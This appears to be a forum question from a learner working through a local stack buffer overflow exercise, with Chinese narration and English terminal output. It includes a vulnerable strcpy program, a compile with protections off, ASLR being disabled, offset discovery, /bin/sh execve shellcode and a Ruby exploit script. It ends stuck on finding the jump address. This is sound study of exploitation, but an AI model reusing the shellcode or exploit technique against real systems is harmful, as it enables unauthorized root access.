我正在做一个关于C程序缓冲区溢出的练习，这个问题的目标是在将shellcode插入程序后获取root shell。目前为止我已经做了以下步骤：
第一步。首先，让我们看一下我在文件file.c中的C代码：
root@kali:~# cat ./file.c
#include <stdio.h>
#include <string.h>
void premio()
{
printf("I have altered the programs flow\n");
}
int main(int argc, char *argv[])
{
char buffer[100];
if (argc != 2)
{
printf("Use: %s argument\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}
第二步。我已经编译并禁用了ASLR，以避免收到随机地址，操作如下：
gcc -fno-stack-protector -z execstack buffer.c -o buffer
echo 0 > /proc/sys/kernel/randomize_va_space
步骤3. 让我们来检查它是如何工作的：
root@kali:~# ./file string
string
root@kali:~# ./file `ruby -e 'print "a"*99'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*100'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (this means we have overwritten the EIP register)
root@kali:~# gdb ./file
(gdb) run `ruby -e 'print "a"*125'`
Starting program: /root/file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)
(gdb)
第四步。我们将使用以下方法找到EIP位置的值：
root@kali:~# ./pattern_create.rb -l 125
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
root@kali:~# gdb ./file
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
Program received signal SIGSEGV, Segmentation fault.
0x0000006541306541 in ?? ()
root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125
[*] Exact match at offset 120
In this case we have found that if we write 120 characters the next 5 will be EIP
步骤 5：现在我们将创建一个脚本，用于使用 shellcode 覆盖缓冲区，shellcode 取自以下位置：
\x31 \xc0 xor eax, eax
\x50 push eax
//PUSH /bin
\x68\x2f\x2f\x73\x68 push 0x68732f2f
//PUSH //sh
\x68\x2f\x62\x69\x6e push 0x6e69622f
\x89\xe3 mov ebx, esp
\x50 push eax
\x53 push ebx
\x89\xe1 mov ecx, esp
\xb0\x0b mov al, 0xb
\xcd\x80 int 0x80
root@kali:~# cat ./exploit.rb
eip = "bbbbb"
aes = "a"*97
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes
print (shell + aes + eip) #125 bytes total
步骤6：现在我们必须知道要跳转到哪个地址才能开始执行我们的shell，但我卡在这里了，因为我不知道该如何做。
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0000000000000753 <+0>: push rbp
0x0000000000000754 <+1>: mov rbp,rsp
0x0000000000000757 <+4>: add rsp,0xffffffffffffff80
0x000000000000075b <+8>: mov DWORD PTR [rbp-0x74],edi
0x000000000000075e <+11>: mov QWORD PTR [rbp-0x80],rsi
0x0000000000000762 <+15>: cmp DWORD PTR [rbp-0x74],0x2
0x0000000000000766 <+19>: je 0x78a <main+55>
0x0000000000000768 <+21>: mov rax,QWORD PTR [rbp-0x80]
0x000000000000076c <+25>: mov rax,QWORD PTR [rax]
0x000000000000076f <+28>: mov rsi,rax
0x0000000000000772 <+31>: lea rdi,[rip+0xf1] # 0x86a
0x0000000000000779 <+38>: mov eax,0x0
0x000000000000077e <+43>: call 0x5f0 <printf@plt>
0x0000000000000783 <+48>: mov eax,0xffffffff
0x0000000000000788 <+53>: jmp 0x7b5 <main+98>
0x000000000000078a <+55>: mov rax,QWORD PTR [rbp-0x80]
0x000000000000078e <+59>: add rax,0x8
0x0000000000000792 <+63>: mov rdx,QWORD PTR [rax]
0x0000000000000795 <+66>: lea rax,[rbp-0x70]
0x0000000000000799 <+70>: mov rsi,rdx
0x000000000000079c <+73>: mov rdi,rax
0x000000000000079f <+76>: call 0x5d0 <strcpy@plt>
0x00000000000007a4 <+81>: lea rax,[rbp-0x70]
0x00000000000007a8 <+85>: mov rdi,rax
0x00000000000007ab <+88>: call 0x5e0 <puts@plt>
0x00000000000007b0 <+93>: mov eax,0x0
0x00000000000007b5 <+98>: leave
0x00000000000007b6 <+99>: ret
End of assembler dump.
步骤7：在此处应该找到地址并将其放入利用脚本中，更改EIP的值，但我不知道该怎么做。
(gdb) run `ruby exploit.rb`
Starting program: /root/file `ruby exploit.rb`
1▒Ph//shh/bin▒▒PS▒▒
̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb
Program received signal SIGSEGV, Segmentation fault.
0x0000006262626262 in ?? ()
(gdb) x/40x $esp
0xffffffffffffe590: Cannot access memory at address 0xffffffffffffe590
(gdb) x/40x $rsp
0x7fffffffe590: 0x00600000 0x00000000 0xffffe668 0x00007fff
0x7fffffffe5a0: 0xf7b9c168 0x00000002 0x55554753 0x00005555
0x7fffffffe5b0: 0x00000000 0x00000000 0xb3c231f4 0x54cfb08e
0x7fffffffe5c0: 0x55554610 0x00005555 0xffffe660 0x00007fff
0x7fffffffe5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe5e0: 0xf76231f4 0x019ae5db 0x589031f4 0x019af56f
0x7fffffffe5f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe600: 0x00000000 0x00000000 0xffffe680 0x00007fff
0x7fffffffe610: 0xf7ffe168 0x00007fff 0xf7de875b 0x00007fff
0x7fffffffe620: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
在所有步骤结束时，必须给我一个root shell。
我卡在第六步和第七步。